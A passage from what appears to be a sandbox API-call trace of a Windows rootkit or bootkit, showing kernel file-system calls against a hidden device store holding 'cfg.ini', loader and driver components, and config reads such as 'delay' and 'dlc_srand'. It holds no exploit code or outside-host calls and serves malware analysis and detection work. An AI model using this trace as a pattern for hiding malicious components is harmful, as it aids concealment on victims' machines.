(_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.807] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.807] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.807] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.807] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.808] KeLeaveCriticalRegion () [0128.808] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.808] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.808] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.808] KeEnterCriticalRegion () [0128.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.808] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.808] IdePortDispatch () returned 0x103 [0128.808] KeWaitForMutexObject () returned 0x0 [0128.808] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.808] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.808] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.808] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.808] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.808] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.808] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.808] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.808] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.808] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.808] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.808] KeLeaveCriticalRegion () [0128.808] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.808] ReleaseMutex (hMutex=0x100) returned 1 [0128.808] Sleep (dwMilliseconds=0x2bf20) [0128.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ff8d130, dwHighDateTime=0x1d24fa4)) [0128.817] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.817] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.817] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.817] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.817] KeEnterCriticalRegion () [0128.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.817] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.817] IdePortDispatch () returned 0x103 [0128.817] KeWaitForMutexObject () returned 0x0 [0128.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.818] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.818] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.818] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.818] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.818] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01a20 [0128.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.818] KeLeaveCriticalRegion () [0128.818] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.818] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.818] KeEnterCriticalRegion () [0128.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.818] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.818] KeLeaveCriticalRegion () [0128.818] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.819] KeEnterCriticalRegion () [0128.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.819] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.819] IdePortDispatch () returned 0x103 [0128.819] KeWaitForMutexObject () returned 0x0 [0128.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.819] KeLeaveCriticalRegion () [0128.819] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.819] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.819] KeEnterCriticalRegion () [0128.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.819] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4e000 [0128.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.819] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.819] IdePortDispatch () returned 0x103 [0128.819] KeWaitForMutexObject () returned 0x0 [0128.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.819] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.819] IdePortDispatch () returned 0x103 [0128.820] KeWaitForMutexObject () returned 0x0 [0128.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.820] KeLeaveCriticalRegion () [0128.820] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.820] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.820] KeEnterCriticalRegion () [0128.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.820] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.820] KeLeaveCriticalRegion () [0128.820] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.820] KeEnterCriticalRegion () [0128.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.820] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.821] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.821] KeLeaveCriticalRegion () [0128.821] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.821] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.821] KeEnterCriticalRegion () [0128.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.821] ExFreePoolWithTag (P=0xfffffa8003c01a20, Tag=0x0) [0128.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.821] KeLeaveCriticalRegion () [0128.821] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.821] ReleaseMutex (hMutex=0xf0) returned 1 [0128.821] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.827] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.828] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.828] KeEnterCriticalRegion () [0128.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.828] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.828] IdePortDispatch () returned 0x103 [0128.828] KeWaitForMutexObject () returned 0x0 [0128.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.828] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.828] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.828] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.828] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.828] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01a20 [0128.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.828] KeLeaveCriticalRegion () [0128.828] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.828] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.828] KeEnterCriticalRegion () [0128.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.828] KeLeaveCriticalRegion () [0128.828] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.828] KeEnterCriticalRegion () [0128.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.828] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.828] IdePortDispatch () returned 0x103 [0128.829] KeWaitForMutexObject () returned 0x0 [0128.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.829] KeLeaveCriticalRegion () [0128.829] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.829] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.829] KeEnterCriticalRegion () [0128.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b51000 [0128.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.829] IdePortDispatch () returned 0x103 [0128.829] KeWaitForMutexObject () returned 0x0 [0128.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.829] IdePortDispatch () returned 0x103 [0128.829] KeWaitForMutexObject () returned 0x0 [0128.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.830] KeLeaveCriticalRegion () [0128.830] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.830] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.830] KeEnterCriticalRegion () [0128.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.830] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.830] KeLeaveCriticalRegion () [0128.830] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.830] KeEnterCriticalRegion () [0128.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.830] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.830] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01190, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.830] KeLeaveCriticalRegion () [0128.830] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.830] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.830] KeEnterCriticalRegion () [0128.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.831] ExFreePoolWithTag (P=0xfffffa8003c01a20, Tag=0x0) [0128.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.831] KeLeaveCriticalRegion () [0128.831] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.831] ReleaseMutex (hMutex=0xf0) returned 1 [0128.831] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.831] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.831] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.831] KeEnterCriticalRegion () [0128.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.831] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.831] IdePortDispatch () returned 0x103 [0128.831] KeWaitForMutexObject () returned 0x0 [0128.831] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.831] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.831] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.831] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.831] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.831] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c016d0 [0128.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.831] KeLeaveCriticalRegion () [0128.831] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.831] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.831] KeEnterCriticalRegion () [0128.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.831] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.832] KeLeaveCriticalRegion () [0128.832] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.832] KeEnterCriticalRegion () [0128.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.832] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.832] IdePortDispatch () returned 0x103 [0128.832] KeWaitForMutexObject () returned 0x0 [0128.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.832] KeLeaveCriticalRegion () [0128.832] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.832] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.832] KeEnterCriticalRegion () [0128.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b52000 [0128.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.832] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.832] IdePortDispatch () returned 0x103 [0128.832] KeWaitForMutexObject () returned 0x0 [0128.833] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.833] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.833] IdePortDispatch () returned 0x103 [0128.833] KeWaitForMutexObject () returned 0x0 [0128.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.833] KeLeaveCriticalRegion () [0128.833] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.833] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.833] KeEnterCriticalRegion () [0128.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.833] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.833] KeLeaveCriticalRegion () [0128.834] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.834] KeEnterCriticalRegion () [0128.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 